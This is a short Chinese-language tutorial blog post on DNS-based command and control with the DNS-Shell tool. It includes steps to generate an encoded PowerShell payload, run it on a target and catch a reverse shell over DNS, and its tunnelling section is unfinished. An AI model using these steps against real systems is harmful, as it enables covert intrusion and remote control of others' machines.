利用DNS进行命令控制和搭建隧道

目录

利用DNS进行命令控制(DNS-Shell)

利用DNS搭建隧道


利用DNS进行命令控制(DNS-Shell)

DNS-Shell是一款通过DNS信道实现交互式Shell的强大工具,该工具的服务器端基于Python开发,可以任何一种安装了Python环境的操作系统平台上运行,工具所使用的Payload均已PowerShell命令进行编码,保证了在不同平台间运行的稳定性和兼容性。

DNS-Shell运行机制

该工具所使用的Payload会在服务器端脚本被调用时自动生成,Payload会使用nslookup来向服务器端查询和请求新的操作命令,接下来服务器端会监听端口53并等待传入的连接。当Payload在目标设备上成功执行后,服务器端将会生成一个交互式Shell并提供给用户进行操作。

通信信道建立成功后,Payload会继续向服务器查询和请求新的操作指令,当攻击者在服务器端输入新的操作命令后,Payload将会收到命令并执行该命令,然后在命令执行成功后将执行结果返回给服务器端。

DNS-Shell的使用

DNS-Shell的运行相对来说比较简单,DNS-Shell支持两种操作模式,即 直接操作模式 和 递归模式:

下载DNS-Shell:

git clone https://github.com/sensepost/DNS-Shell.git

DNS-Shell直接模式:

python2 DNS-Shell.py -l -d 要反弹回来的ip

该命令会生成一段payload

我们将该payload复制,在目标机cmd窗口中执行 

powershell.exe -e 生成的payload

可以看到,我们已经成功接收到反弹回来的shell了

利用DNS搭建隧道

未完待续。。。

参考文章:利用DNS隧道构建隐蔽C&C信道

                  DNS-Shell:一款通过DNS信道来实现交互式Shell的强大工具

                  DNS Shell 一款控制服务器的工具 

原文地址:https://www.cnblogs.com/csnd/p/11807665.html